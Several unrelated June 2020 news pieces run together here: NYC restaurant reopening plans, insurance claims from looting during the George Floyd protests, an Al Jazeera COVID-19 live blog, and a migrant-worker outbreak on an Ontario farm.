The City Department of Health and Mental Hygiene, Department of Consumer and Worker Protection, and the Department of Transportation will monitor the success of this program and will step in if it creates concerns, according to a statement issued by the mayor's office on Thursday.

"Our restaurant owners need help now more than ever and have shared their concerns about traditional practices. This plan will enliven our commercial corridors and provide businesses with a much-needed opportunity to generate further revenue while maintaining safety," said Jonnel Doris, commissioner of the NYC Department of Small Business Services, in the statement.

Seven of 10 regions in New York State have stepped into phase two of reopening, during which real estate companies, vehicle sales, hair salons, outdoor and take-out food service, among others, are allowed to restart operating.

New York City is the only region in the state that is still under the "PAUSE" order due to COVID-19 with all non-essential businesses closed. Enditem
Penney filed for bankruptcy protection last month, making it the biggest retailer to do since the coronavirus pandemic forced non-essential stores to be shut down temporarily. J.Crew and Neiman Marcus sought bankruptcy protection days before J.C. Penney. All three were laden with debt and had trouble connecting with shoppers, who are increasingly skipping the mall and shopping online.
Als, a sporting-goods store tucked in Wilmington, Delawares small shopping district, opened during the Great Depression, weathered World War II and has been able to keep workers on the job during the coronavirus pandemic. But this past weekend delivered a new challenge.

Owner Bob Hart closed the 17,000-square-foot shop at 4 p.m. Saturday as protesters walked Market Street, blocks away. A few hours later, around 8:15 p.m., the first of the store alarms went off. Looters who followed the peaceful demonstrations broke windows at the store and stole the majority of Harts inventory, including about 10,000 pairs of shoes.

Hart is among business owners digging into the details of their insurance policies to see what losses might be covered. Hart said hes confident his claim will be successful, but that doesnt make the process an easy one.

For every item Im missing, I have to supply an invoice. That could be real tough, he said, with some items purchased a year or two ago. You just gotta try to work through it.

Did Debate Over Business Income Insurance Just Get More Complicated? Business income claims due to riots and civil unrest could reflect revenue loss from virus-related shutdowns or receipt of funds from the Paycheck Protection Program. Riots in Wake of Floyds Death Could Become Most Costly Civil Disorder for Insurers While the industry expects a significant event, it is premature to determine the volume of property loss since it is an ongoing event. Insurers Prepare for Claims as East States See Property Damage from Civil Unrest The industry has already labeled the riots as a national catastrophe since insured damage will meet $25 million.

Protesters have come out in droves across the U.S. to speak out against the killing of George Floyd, an unarmed black man who died after a white Minneapolis police officer knelt on his neck for more than eight minutes  the latest incident of brutality against African-Americans. While the protests have been largely peaceful, some people have used the unrest as an opportunity to vandalize and loot stores in cities including New York, Los Angeles and Wilmington.

It was wrong what they did to George Floyd  its sickening, Hart said. But when you take it out on somebody like me, who just has a small business, he said, trailing off while shaking his head.

Tensions were high overnight as large crowds gathered in New Orleans and New York, yet the ninth straight night of protests over Floyds death remained largely peaceful in most cities.

On Top of Covid

The civil unrest comes as business owners continue to cope with the economic impact of the Covid-19 outbreak, which also required them to analyze the fine print of their insurance policies. While theres been a debate about whether business-interruption insurance covers retailers pandemic-related losses, property damage from riots, civil commotion and vandalism are generally covered under standard policies, according to the Insurance Information Institute.

The insurance industry has argued that business-interruption coverage wouldnt pay for virus losses because of a physical-damage requirement, an issue now being fought over by business owners, attorneys and lawmakers. The situation is clearer when there are broken storefronts from looting, said Kim Winter, who leads Lathrop GPMs insurance recovery and counseling practice group.

Here we know that there is actual direct physical damage  theres no question about it, its more than just a microscopic virus, so thats the difference, she said.

Winter and Hahn Pam, an associate at Lathrop GPM, said policyholders should try to alert their insurers quickly, even though the protests are still going on, and study their coverage closely. While property damage is often covered, the double-whammy of the pandemic and looting could mean business-interruption claims become more complicated down the road, Winter said.

The 1992 riots in Los Angeles were the costliest civil-disorder event in U.S. history, totaling about $775 million in insured damage at the time, according to the insurance institute. That pales in comparison to damage done by some natural disasters, including Hurricane Katrina, which resulted in $41 billion in insured losses.

Verisk Analytics Inc.s Property Claim Services, which analyzes various events, has already designated the latest riots a catastrophe, meaning theyll probably cause more than $25 million in insured damage and affect a significant number of insurers and policyholders. The group hasnt announced a firm estimate.

Meyer Shields, an analyst at Keefe, Bruyette & Woods, said in a June 1 note that the firms best guess is that insured damages should be relatively modest, but that the combination of those losses, costs tied to the pandemic and a hurricane season forecast to be stronger than normal could weigh on insurers.

P&C insurers such as AIG, Chubb and Travelers may see manageable losses from riots across the U.S. possibly topping $2 billion, in our view, given the broader geographical exposure than previous unrest.

Matthew Palazola, senior industry analyst, and Derek Han, associate analyst

For now, business owners on the front lines are the ones navigating the aftermath. It isnt clear when Als, the sporting-goods store in Wilmington, will be able to restock, with some suppliers unable to ship goods for weeks because of the pandemic, Hart said after putting a thick chain and padlock on the stores temporary plywood door.

In Atlantas wealthy Buckhead neighborhood, looters hit Attom Concept Store, a black-owned clothing retailer, taking $100,000 of merchandise early Saturday morning. Owner Zola Dias, a Swiss immigrant, sells luxury clothes, shoes and accessories from fashion houses including Balenciaga and Givenchy and local designers.

Dias said hed let his insurance policy lapse after closing more than two months ago because of Georgias Covid-19 lockdown. It was hard to cover the costs as well as his $20,000 monthly rent in the ritzy Buckhead Village plaza, he said. Dias had planned to open on Monday, but found the windows smashed and store ransacked when he stopped by at 5 a.m. Saturday. For now, hes started a fundraiser and is counting on the generosity of customers to reopen.

This store is very famous, said Dias, whose shops Instagram page is filled with pictures of Atlanta hip-hop artists and other celebrities with his apparel. He vents at the injustice of looters targeting a black-owned shop. Weve been here for almost four years, so people know us.

Photo: A looted store in New York on June 1, 2020.. Bloomberg Photo.

Topics COVID-19 USA Profit Loss New York Property
Health agency says anecdotal evidence of the benefits of wearing masks in crowds has prompted it to change position.

The World Health Organization (WHO) on Friday changed its position on masks, now encouraging people to wear them in crowded places, citing anecdotal evidence that supports their value in stopping the spread of the coronavirus.

US President Donald Trump called for a shift in strategy against the coronavirus pandemic to focus resources on protecting high-risk populations while calling for a total end to stay-at-home orders in states throughout the country.

Indias COVID-19 deaths passed 6,000 after it registered 260 deaths in the last 24 hours. The country registered 9,304 new cases in yet another record single-day spike in infections, raising its totals to 216,919 cases with 6,075 deaths, the health ministry reported on Thursday.

The coronavirus death toll in Brazil soared to a new daily record, with 1,473 deaths logged at the end of Thursday. With more than 34,000 deaths, Brazil now has the third-highest toll in the world.

About 6.6 million coronavirus cases have been confirmed around the world, according to data from Johns Hopkins University. More than 389,000 people have died, including some 108,000 in the United States. More than 2.8 million people have recovered.

Here are the latest updates:

June 5, Friday

19:50 GMT  White House forces reporters to ditch social distancing

The White House abandoned social distancing for reporters attending President Donald Trumps Rose Garden event Friday because it looks better, according to the aide who ordered it.

Seats for reporters at recent White House events had been placed 6 feet apart to protect against the spread of the coronavirus. But shortly before Fridays event, Trump aides moved the seats closer together so reporters were sitting shoulder-to-shoulder.

The decision needlessly put reporters health at risk, said Jonathan Karl of ABC News, president of the White House Correspondents Association.

White House spokesman Judd Deere said it was his decision to move the seats closer together, saying It looks better and I would remind you that those in the (press) pool are tested, everyone is temperature-checked and asked if they have had symptoms.

Reporters have condemned the White Houses abandoning of social distancing for reporters [Evan Vucci/The Associated Press]

19:30 GMT  New website shows impact of European restrictions

Environmental and economic impacts of the coronavirus in Europe can now be seen using satellite data provided by the European Space Agency, it has announced.

The ESA and the European Commission launched an internet-based programme that compares pollution levels during the health crisis with a baseline scenario, measures chlorophyll concentrations, and illustrates economic indicators such as harvests.

19:10 GMT  Jordan reopens mosques for socially distanced prayers

Mosques in Jordan have opened for communal prayers for the first time in over two months, with thousands of police deployed to enforce strict social distancing rules at the usually packed places of worship.

The kingdom is gradually easing restrictions imposed to curb the coronavirus outbreak, which killed nine people in Jordan. From Saturday, cafes and hotels can reopen and domestic flights will resume, although schools, universities and cinemas remain closed and most public gatherings are still banned.

Over 30,000 police were deployed to oversee crowds attending prayers at the countrys 7,000 mosques on Friday, officials said.

The Imam of a mosques puts foot print mats for social distancing to prevent the spread of the coronavirus in Amman, Jordan [Muhammad Hamed/Reuters]

18:40 GMT  Americans misuse disinfectants in high risk practice to prevent infection: US survey

More than a third of Americans misused cleaners and disinfectants to try to prevent infection by the coronavirus, according to a US survey taken shortly after President Donald Trump publicly asked whether injecting such products could treat COVID-19.

Washing food with bleach, using household cleaning or disinfectant products on bare skin, and intentionally inhaling or ingesting these products were some of the most commonly reported high-risk practices in a May 4 online survey of 502 US adults, the US Centers for Disease Control and Prevention (CDC) reported.

The surveys lead author said it was undertaken following a sharp increase in calls to poison control centers.





18:10 GMT  China warns against travel to Australia, citing discrimination

Chinas Ministry of Culture and Tourism has advised the public to avoid traveling to Australia, citing racial discrimination and violence against the Chinese in connection with the COVID-19 pandemic.

There has been an alarming increase recently in acts of racial discrimination and violence against Chinese and Asians in Australia, due to the impact of the COVID-19 pandemic, the ministry said in a statement. It did not give any specific examples of such discrimination or violence.

Asians of various backgrounds have said they have been harassed since the outbreak of the novel coronavirus, including in the United States. China issued a warning to tourists traveling there earlier this year after some said they were mistreated in connection with the outbreak.

17:50 GMT  Saudi reimposes virus lockdown on Jeddah

Saudi Arabia has announced a renewed lockdown in the city of Jeddah, gateway to the annual Muslim pilgrimage to Mecca, to counter a new spike in coronavirus cases.

After reviewing the epidemiological situation and the high occupancy rates of intensive care departments, it was decided to take strict health precautions in the city of Jeddah for two weeks, starting from Saturday, the health ministry said.

The measures include a curfew running from 3 pm to 6 am, a suspension of prayers in mosques and a stay-at-home order for public and private sector workers in the Red Sea city whose airport serves Mecca pilgrims.

People wearing protective face masks and gloves shop at a supermarket following the outbreak of the coronavirus in Riyadh, Saudi Arabia [Ahmed Yosri/Reuters]

17:30 GMT  UK death toll cases tops 40,000

The United Kingdoms death toll from confirmed cases of COVID-19 has exceeded 40,000, according to government data.

In all, 40,261 people had died following positive tests for coronavirus as of 1600 GMT on Thursday, the health ministry said, up 357 from the previous day.

Including suspected cases, the United Kingdoms death toll this week surpassed 50,000, according to a Reuters news agency tally of official data sources.

17:10 GMT  France reports 46 more deaths, total at 29,111

Frances coronavirus death toll has risen by 46, or 0.2 percent, to reach 29,111, which is the fifth-highest total in the world.

The rate of increase is the same as Thursday, while the number of people hospitalised for COVID-19 disease continued its long-running decline, the health ministry said in a statement.

16:50 GMT  Kenyan police killed 15 since start of curfew: Oversight body

The Kenyan police have been involved in the killing of 15 people since the country put a dusk-to-dawn curfew in place in March to combat the coronavirus, the policing oversight body said in a statement seen by AFP news agency. At least 31 people have been injured.

The authority has received 87 complaints against police officers since March 27, 2020, when heightened security measures were put in place, the Independent Policing Oversight Authority (IPOA) said.

After preliminary investigations, 15 deaths and 31 incidents where victims sustained injuries have directly been linked to actions of police officers during the curfew enforcement.

A health worker takes the temperature of a person standing in line for mass testing in an effort to stop the spread of the coronavirus in the Kibera slum of Nairobi, Kenya [Baz Ratner/Reuters]

16:30 GMT  Epidemics in India, S Asia growing but not exploding: WHO

The number of COVID-19 cases in India has been doubling every three weeks but the epidemic is not growing exponentially in the country and South Asia region, according to the WHO.

In South Asia, not just in India, but in Bangladesh and  Pakistan and other countries of South Asia with large dense populations, the disease has not exploded, but there is always the risk of that happening, Mike Ryan, WHOs top emergency expert, told a news conference.

Soumya Swaminathan, WHOs chief scientist, noting India has a population of 1.3 billion, said the 200,000 reported cases look big but for a country of this size its still modest.





16:10 GMT  Italy records 85 new deaths, 518 new cases

Deaths from COVID-19 in Italy have climbed by 85 against 88 the day before, the Civil Protection Agency said, while the daily tally of new cases jumped to 518 from 177 on Thursday.

The total death toll since the outbreak came to light on February 21 now stands at 33,774, the agency said, the fourth-highest in the world after those of the US, Britain and Brazil.

The number of confirmed cases amounts to 234,531, the sixth-highest global tally behind those of the US, Russia, Spain, Britain and Brazil.

15:50 GMT  UK govt urges people not to attend large protests

UK Health Minister Matt Hancock has urged people not to attend large anti-racism demonstrations because of the risk of the coronavirus.

Tens of thousands marched through central London on Wednesday to protest against racism after the death of George Floyd, an unarmed Black man, in the US city of Minneapolis, and further demonstrations are planned over the weekend.

I understand why people are deeply upset but we are still facing a health crisis and coronavirus remains a real threat, Hancock said at the governments daily news conference. So please, for the safety of your loved ones, do not attend large gatherings, including demonstrations of more than six people.





15:20 GMT  UK halts trial of useless hydroxychloroquine

British scientists have halted a large trial that had been exploring the use of the anti-malarial drug hydroxychloroquine in patients with COVID-19 after initial results showed no evidence of benefit.

We reviewed the data and concluded there is no evidence of a beneficial effect of hydroxychloroquine in patients hospitalised with COVID, and decided to stop enrolling patients to the hydroxychloroquine arm with immediate effect, said Martin Landray, an Oxford University professor who is co-leading the so-called RECOVERY trial.

This is not a treatment for COVID-19. It doesnt work, he said. This result should change medical practice worldwide  We can now stop using a drug that is useless.

US President Donald Trump announced on May 18 he had been taking hydroxychloroquine for almost two weeks as a preventive measure against COVID-19 [George Frey/AFP]

15:50 GMT  WHO encourages masks where virus widespread, distancing tough

The WHO has updated guidance on wearing masks during the COVID-19 pandemic, encouraging their use in crowded situations in places where the new coronavirus is widespread.

Governments should encourage the general public to wear masks where there is widespread transmission and physical distancing is difficult, such as on public transport, in shops or in other confined or crowded environments, WHO chief Tedros Adhanom Ghebreyesus said.

The agency said the widespread use of face masks or coverings by the general public is still not supported by high-quality or direct scientific evidence, but a growing amount of observational evidence from several countries is enough for it to change its advice.

15:30 GMT  Trump calls for strategy shift to allow for end to lockdowns

Trump has called for a shift in strategy against the coronavirus pandemic to focus resources on protecting high-risk populations as he pushes for a total end to stay-at-home orders in states throughout the US.

The best strategy to ensure the health of our people moving forward is to focus our resources on protecting high-risk populations, like the elderly and those in nursing homes, while allowing younger and healthy Americans to get back to work immediately, Trump said in remarks at the White House Rose Garden.

He added: I dont know why some jurisdictions continue to lock down.

More than 108,000 Americans have died and nearly 1.8 million have been infected in the US with the coronavirus.

President Trump pitched himself on Friday as the man to lead the US in its economic recovery [Alex Brandon/AP]

15:10 GMT  Bolsonaro failed in pandemic response, says Greta Thunberg

Brazilian President Jair Bolsonaro has failed in managing the coronavirus crisis, teenage climate activist Greta Thunberg has said, a day after a record rise in deaths in the South American nation.

The Bolsonaro government has definitely failed in tackling the coronavirus pandemic as many other governments have also done, the 17-year-old Swede said in a video conference with journalists.

Brazils presidency declined to comment. Bolsonaro has fiercely criticised measures to shut down non-essential businesses and keep residents indoors to slow the spread of the novel coronavirus, saying the economic damage being done is worse than the health risk itself.

14:45 GMT  Iraq records more than 1,000 new cases for first time

Iraq has recorded more than 1,000 new coronavirus cases in a single day for the first time, with its total approaching 10,000 confirmed cases, the health ministry said.

At least 285 people have died of COVID-19 in Iraq, it said.

It recorded 1,006 new cases, out of a total of 9,846 overall. The cases have tripled in the space of about three weeks.

A healthcare worker takes blood samples from a woman during testing for the coronavirus in Sadr city, district of Baghdad, Iraq [Thaier Al-Sudani/Reuters]

14:20 GMT  Rare turtle lays eggs on tourist-free Thai beach

A critically endangered turtle emerged from the sea to lay at least 80 eggs on a Thai beach just minutes before the start of World Environment Day  just one sign of how wildlife is making the most of the coronavirus pandemic limiting human movement.

The hawksbill sea turtle chose a beach on Koh Samui, an island typically visited by several million people each year, and was tracked by veterinarians thanks to an implanted digital chip.

National park and wildlife conservation staff were on the spot to collect a blood sample and check the health of the turtle, which they estimated to be about 30 years old.

The hawksbill turtles number has reduced significantly because of the trade in their shells, which is now illegal.

Hawksbill sea turtles are critically endangered because of trade in their shells, which is now illegal [Kamran Jebreili/AP]

13:40 GMT  S Africa cases rise, president worries about Cape Town region

Even as South Africa eases its coronavirus lockdown, infection numbers have started to rise quickly and President Cyril Ramaphosa has said he is particularly concerned about the province around Cape Town.

Western Cape, whose Table Mountain and wine tours make it a leading tourist destination, has become the countrys main coronavirus hotspot, with about two-thirds of the countrys total 40,792 cases. It has also recorded 651 out of the countrys total of 848 deaths.

South Africa recorded its largest daily jump of cases on Thursday, with 3,267 new cases.

13:00 GMT  Ireland to accelerate lockdown easing plan: PM

Ireland will accelerate its plan to ease coronavirus lockdown restrictions in the coming days, Prime Minister Leo Varadkar has said.

Today I can confirm that it is safe to move to phase two of the plan to reopen our country starting on Monday, Varadkar said. Im also announcing an acceleration of the road map.

In line with the government plan to reopen the republic, more workplaces and shops will reopen on Monday, while a hastening of the scheme will allow widespread travel and see the final lifting of all lockdown restrictions in July rather than August.

Hi, this is Joseph Stepansky in Doha, taking over the live updates from my colleague Shereena Qazi.

11:50 GMT  Bangladeshi courts freeing child suspects due to virus risk

Authorities in Bangladesh have been releasing hundreds of children suspected of committing mostly petty crimes as they try to keep the coronavirus from spreading in overcrowded detention centres, officials have said.

The orders for their release on bail came from virtual courts set up by the countrys Supreme Court with the help of UNICEF, officials said.

About 400 children have been granted bail in recent weeks and more than 300 of them have already been reunited with their families, said Natalie McCauley, chief of child protection at UNICEF in Bangladesh.

She said the decision came as public health experts said children living in the countrys detention centres face a higher risk of getting infected, mainly because of overcrowding and poor conditions.

10:20 GMT  Jakarta mosques host Friday prayers for first time in two months

Indonesians in Jakarta returned to mosques for prayers after the city relaxed rules on attending places of worship as part of a loosening of restrictions in place since late March to contain the spread of the coronavirus.

Jakartas governor on Thursday announced some easing of restrictions including attending mosques for communal prayers but warned the fight against the outbreak was far from over in southeast Asias biggest city.

First Friday prayer in Indonesia during the transition period to a new normal [Anadolu]

Indonesia has been the hardest-hit country in east Asia outside China from the pandemic and Jakarta has been the epicentre of the outbreak, with 7,766 cases and 523 deaths.

Some public transport has resumed operations and offices and malls are due to open in the city over the next two weeks.

10:16 GMT  Its not over until there is no virus anywhere in the world  WHO

Some countries have seen upticks in COVID-19 cases as lockdowns ease, and populations must continue to protect themselves against the coronavirus, the World Health Organization (WHO) has said.

On upticks, yes we have seen in countries around the world  Im not talking specifically about Europe  when the lockdowns ease, when the social distancing measures ease, people sometimes interpret this as OK, its over, WHO spokeswoman Margaret Harris told a UN briefing in Geneva.

Its not over. Its not over until there is no virus anywhere in the world, she said, adding that US protesters must also take precautions when gathering.

09:45 GMT  Malaysia reports 19 new coronavirus cases, one new death

Malaysia reported 19 new confirmed coronavirus cases, taking the cumulative total to 8,266 infections.

The health ministry also reported its first death in two weeks, raising the number of fatalities to 116.

Earlier on Friday, Malaysias Prime Minister Muhyiddin Yassin unveiled an additional economic stimulus package worth around $8.2bn in a bid to revitalise industries badly hit by the pandemic.

09:30 GMT  Turkeys Erdogan cancels surprise weekend curfew

Turkish President Recep Tayyip Erdogan cancelled a weekend lockdown to contain the coronavirus, announced hours earlier by the interior ministry, after a public backlash.

The two-day lockdown was to go into effect at midnight (21:00 GMT) in the 15 hardest-hit provinces and cities, including the national capital, Ankara, and financial hub Istanbul.

People wear masks as they shop for fruit and vegetables at the Besiktas market in Istanbul [Chris McGrath/Getty]

However, the assessments we received from our citizens led us to reconsider the decision, Erdogan tweeted in revoking the order, instead appealing to people to wear masks and maintain physical distancing rules.

The new weekend curfew  announced by the ministry late Thursday  came as a surprise as Turkey started easing restrictions this week. A travel ban on these 15 areas was lifted on Monday.

09:00 GMT  AstraZeneca on track to roll out virus vaccine in September

British pharma giant AstraZeneca is on track to begin rolling out up to two billion doses of a coronavirus vaccine in September if ongoing trials prove successful, its chief executive said.

The company is partnering with Oxford University, which has pioneered the vaccine, and is already manufacturing doses before seeking final regulatory approval once testing concludes in the coming months.

So far were still on track  we are starting to manufacture this vaccine right now, and we have to have it ready to be used by the time we have the results, AstraZeneca chief executive Pascal Soriot told BBC radio.

Our present assumption is that we will have the data by the end of the summer, by August, so in September we should know whether we have an effective vaccine or not.

The firm announced this week it had struck agreements with the Coalition for Epidemic Preparedness Innovations (CEPI), Gavi, the Vaccine Alliance, and the Serum Institute of India to double the production capacity of the COVID-19 vaccine to two billion doses.

08:45 GMT  Philippines reports 3 new coronavirus deaths, 244 more cases

The Philippines health ministry Confirmed three new coronavirus deaths and 244 more infections, the lowest single-day increase in cases in two weeks.

In a bulletin, the ministry said total deaths have reached 987 while confirmed cases have risen to 20,626. There are 4,330 patients who have recovered.

07:50 GMT  Russias coronavirus infections near 450,000

Russia reported 8,726 new cases of the novel coronavirus on Friday, pushing the total number of infections to 449,834.

Officials said 144 people had died in the last 24 hours, bringing the official nationwide death toll to 5,528.

07:47 GMT  COVID-19 pandemic under control in France

The COVID-19 pandemic is now under control in France, the head of the governments scientific advisory council said, as the country cautiously lifts a lockdown imposed in March.

We can reasonably say the virus is currently under control, Jean-Francois Delfraissy told France Inter radio.





The virus is still circulating, in certain regions in particular  but it is circulating slowly, he added.

Delfraissy, an immunologist, and his colleagues were appointed to the coronavirus advisory panel as authorities sought to contain an outbreak that has killed more than 29,000 people in France.

The number of daily deaths has fallen, however, with just 44 reported by the health ministry on Thursday.

07:00 GMT  Czechs drop travel restrictions for Austria, Germany, Hungary

The Czech government agreed to fully open its borders with neighbours Austria and Germany and allow unrestricted travel to and from Hungary from noon on Friday, Prime Minister Andrej Babis said.

It fully opened its border with Slovakia.

People who visit these countries do not need any coronavirus test nor quarantine, Babis told a news conference shown live on television.

We want to return to normal, it can also be beneficial for the Czech Republic when people from these countries come and spend money here.

Foreign Minister Tomas Petricek said all restrictions on travel to and from Austria and Hungary had been removed, though travellers to Germany still needed to observe Germanys current conditions for entry.

The Czechs are planning to allow unrestricted entry from more than 20 European states from June 15.

Visitors arriving from places where the epidemic is still widespread will have to provide a negative COVID-19 test or be quarantined on arrival.

06:52 GMT  Pakistan registers new cases

Pakistan has registered 3,985 new cases of the coronavirus, raising the countrys tally of cases to 89,249, as an increased rate of spread of the virus continues in the South Asian nation.

This week, the countrys case tally has risen by 19,753, or 22 percent.

The provincial government started easing the lockdown restrictions and allowed city public transport to resume in Sindh [Akhtar Soomro/Reuters]

Restrictions remain largely lifted or ignored across the country. This week, Prime Minister Imran Khan called for citizens to resume visiting tourist locations.

At least 73 people died from COVID-19 on Thursday, raising the countrys overall death toll from the coronavirus to 1,886. Pakistan, like other South Asian countries, has seen a lower rate of deaths among confirmed cases of the coronavirus than in many European and North American countries, registering a case fatality rate of 2.11 percent, compared to 14.13 in the UK, 15.33 in France and 5.79 percent in the United States.

05:56 GMT  Malaysia urged to end migrant raids after alarming outbreak at detention centres

A prominent human rights group called on Malaysias government to end operations against undocumented migrants after health authorities reported 270 coronavirus cases at the Bukit Jalil immigration detention depot.

Fears about immigration detention centres turning into hotbeds for the spread of COVID-19 have now materialised, with the highest number of COVID-19 cases ever recorded on a single day, said Preethi Bhardwaj, interim executive-director of Amnesty International Malaysia.

Many lives are at risk, she said, calling for an end to the rounding up of migrants as well as action to ease overcrowding at the detention centres.

Priority must be given to finding alternative accommodation that is suitable and where detainees can socially distance, she said, adding: There is a need to address the cramped cells in these detention centres, which will only encourage further spread of the disease.

05:42 GMT  India logs another record single-day spike

India registered more than 9,800 new cases of the coronavirus in another biggest single-day spike.

The health ministry said the total number of confirmed cases touched 226,770 with 6,348 deaths, 273 of them in the past 24 hours. The overall rate of recovery is around 48 percent.

Infections have surged in rural areas following the return of hundreds of thousands of migrant workers who left cities after the lockdown in late March.

New Delhi, Mumbai and Ahmedabad are among Indias worst-hit cities. Six of the countrys 28 states account for 73 percent of the total cases [Narinder Nanu/AFP]

05:25 GMT  Pandemic compounds Malis dire security crises

Antonio Guterres, the United Nations chief, said the coronavirus pandemic has compounded the dire humanitarian and security situations in Mali and Africas Sahel region.

In a report to the Security Council, obtained by The Associated Press news agency, Guterres said the deteriorating security situation remains of grave concern with terrorist groups allied with al-Qaeda and Islamic State competing for control over areas of influence.





He said attacks on civilians, Malian and international forces are continuing in northern and central Mali, and noted that clashes between al-Qaeda and Islamic State have also been reported.

The impact of COVID-19 is exacerbating the humanitarian crises in Mali, Guterres said, where 3.5 million people are suffering from food insecurity and 757,000 are severely food insecure.

04:42 GMT  Masks mandatory on UK buses, subways and trains

Passengers on Englands buses, subways and trains will have to wear face coverings starting from June 15 to help protect fellow passengers from the coronavirus.

Grant Shapps, the transport secretary, said the requirement was timed to coincide with the anticipated reopening of nonessential stores, including department stores and electronics retailers.

He said the face coverings are a condition of travel and failure to abide by the requirement could potentially lead to fines.

A man exits a bus wearing a protective face mask at Vauxhall bus station in London, Britain, May 14, 2020 [File: Henry Nicholls/ Reuters]

04:26 GMT  South Korea reports 39 cases

South Korea reported on Friday 39 new cases of the coronavirus over 24 hours, a continuation of an upward trend in new infections in the country.

The Korea Centers for Disease Control and Prevention said 34 of the additional cases were reported in the densely populated Seoul metropolitan area, where about half of South Koreas 51 million people live.

The new figures took the countrys total to 11,668 cases, with 273 deaths.

South Korea has seen a rise in the number of new cases after easing much of its rigid social distancing rules in early May. But the caseload has not exploded, unlike when the country reported hundreds of new cases every day in late February and early March.

03:18 GMT  Japans Hitachi, Toshiba, Miraca to set up joint line for antigen test kits

Japanese industrial conglomerates Hitachi Ltd and Toshiba Corp, as well as Miraca Holdings subsidiary Fujirebio, said they will jointly set up a facility to produce antigen coronavirus testing kits.

The rare partnership would help double production of Fujirebios testing kits to 400,000 a week, the companies said. It would start operations by December in northern Hokkaido prefecture.

Antigen tests scan for proteins found on or inside a virus. They can detect the virus quickly but produce false negatives at a higher rate than the currently dominant polymerase chain reaction (PCR) tests.

It takes about 30 minutes to get a result with Fujirebios palm-sized antigen test kit, compared with four to six hours for a PCR test.





03:01 GMT  Five new imported cases in China

China reported five new confirmed coronavirus cases, all of them brought by Chinese citizens from outside the country.

No new deaths were reported on Friday, continuing a trend stretching back weeks.

China has reported 4,634 deaths among 83,027 cases since the virus was first detected in the central Chinese city of Wuhan late last year.

02:08 GMT  Study shows Spain far from having herd immunity to virus

A second round of random testing in Spain shows only 5.2 percent of the population carry antibodies against the new coronavirus.

Researchers say that means Spain is far from having developed a herd immunity to COVID-19 and is still vulnerable to more outbreaks.

The survey of more than 64,000 people also shows that a third of those infected do not develop symptoms.

Priests walk past relatives during a memorial mass for the COVID-19 victims officiated at the cathedral of Seville, on June 4, 2020; hundreds of people who lost loved ones to the virus joined a huge funeral mass at Seville Cathedral in one of the largest public gatherings in Spain since the lockdown [Cristina Quicler/ AFP]

It is a wake-up call for public health: it is not possible to control [an outbreak] by just considering those who are symptomatic, National Epidemiological Center Director Marina Pollan said on Thursday.

With this number of asymptomatic cases, we must follow the recommendations for personal hygiene and social distancing, Pollan said.

01:58 GMT  New Zealand extends wage subsidy scheme

New Zealand said it was extending its wage subsidy scheme to help an additional 40,000 businesses keep staff employed as they recover from the impact of the coronavirus pandemic.

After feedback from businesses, the government decided to change the required revenue drop threshold for firms to apply for a wage subsidy to 40 percent from 50 percent, Finance Minister Grant Robertson said in a statement.

01:22 GMT  Brazils death toll surges to third highest in world

Brazils death toll from the new coronavirus has overtaken Italys to become the third-highest in the world, according to official figures.

The South American country of 210 million people reported a new record of 1,473 deaths in 24 hours, bringing its overall toll to 34,021, from 614,941 infections, the health ministry said.

Italy has confirmed 33,689 deaths from 234,013 infections.





01:07 GMT  Fiji says all COVID-19 patients recovered

Frank Bainimarama, the prime minister of Fiji, said all coronavirus patients in the Pacific island nation have now recovered.

And even with our testing numbers climbing by the day, its now been 45 days since we recorded our last case. With no deaths, our recovery rate is 100% he wrote in a tweet.

Fiji had recorded 18 infections, according to data from the Johns Hopkins University.

Fiji has just cleared the last of our active #COVID19 patients. And even with our testing numbers climbing by the day, it's now been 45 days since we recorded our last case. With no deaths, our recovery rate is 100%. Answered prayers, hard work, and affirmation of science!  Frank Bainimarama (@FijiPM) June 4, 2020

00:42 GMT  Patients with high blood pressure twice as likely to die

Patients with high blood pressure admitted to hospital with coronavirus infections are twice as likely to die as those without the condition, according to a new study.

For inpatients with the virus who had stopped taking medication for high blood pressure, the risk of dying doubled again, researchers reported in the European Heart Journal.

It is important that patients with high blood pressure realise that they are at increased risk of dying from COVID-19, said senior author Fei Li, a cardiologist at Xijing Hospital in Xian, China.

The study also found that widely used drugs to control high blood pressure may help protect against severe COVID-19, allaying concerns that they could make the illness caused by the coronavirus worse.





00:15 GMT  Turkey to impose weekend curfew in 15 cities

Turkey will impose a two-day weekend curfew in 15 cities as part of efforts to prevent the spread of the novel coronavirus, the interior ministry said.

In a statement, the ministry said the lockdown will be in effect in Ankara, Istanbul, Izmir, Balikesir, Bursa, Eskisehir, Gaziantep, Kayseri, Kocaeli, Konya, Manisa, Sakarya, Samsun, Van and Zonguldak.

Markets, grocery stores and butcheries can operate during the lockdown, it added.

00:07 GMT  Argentina extends lockdown in Buenos Aires

Argentina extended until June 28 a mandatory lockdown in capital Buenos Aires and other areas with high cases of coronavirus, President Alberto Fernandez announced, after the country surpassed 20,000 confirmed cases earlier in the day.

Argentinas lockdown, which was due to expire on June 7, has been in place since March 20, though officials relaxed restrictions in some areas of the country.

Hello and welcome to Al Jazeeras continuing coverage of the coronavirus pandemic. Im Zaheena Rasheed in Male, Maldives.

You can find all the updates from yesterday, June 4, here.
The novel coronavirus has been detected on a second farm in Norfolk County.

The Haldimand-Norfolk Health Unit says a migrant worker became ill during their mandatory two-week quarantine upon entering Canada and tested positive for COVID-19.

The worker was serving the quarantine period inside a residence on the farm  which the health unit did not name  and is now self-isolating alone inside another residence. The health unit said some farm workers isolate in residences with one or two other people, but did not specify if this positive case meant additional workers would also have their quarantine periods extended.

This case is unrelated to the outbreak at Scotlynn Group in Vittoria, where 164 people have tested positive for COVID-19 and another 53 have tested negative.

Four migrant workers remain in hospital, with two in the intensive care unit. Three previously hospitalized workers have been released. The vast majority of the COVID-positive workers are asymptomatic. Some workers are quarantining at the farm, while others are at hotels in Brantford.

The workers relocated to the hotels are to remain in their rooms at all times, said health unit spokesperson Matt Terry.

Health unit staff are in contact with each worker every day. A health and safety plan has been implemented and shared with staff and the workers.

Scotlynn  a major grower and shipper of asparagus, sweet corn, pumpkin and asparagus  brought in 216 migrant farm workers from Mexico to work at the Vittoria operation this year. With his entire workforce currently in self-isolation at the farm or hotels in Brantford, president and CEO Scott Biddle was forced to call off the asparagus harvest, leaving an estimated three million pounds of the spring vegetable unpicked.

As part of its ongoing outbreak management plan, the health unit has tested some 100 community members who may have had contact with people from Scotlynn. Only nine test results had come back as of Thursday evening, with four people testing positive and five testing negative.

Some of these individuals are now in self-isolation, Terry said.

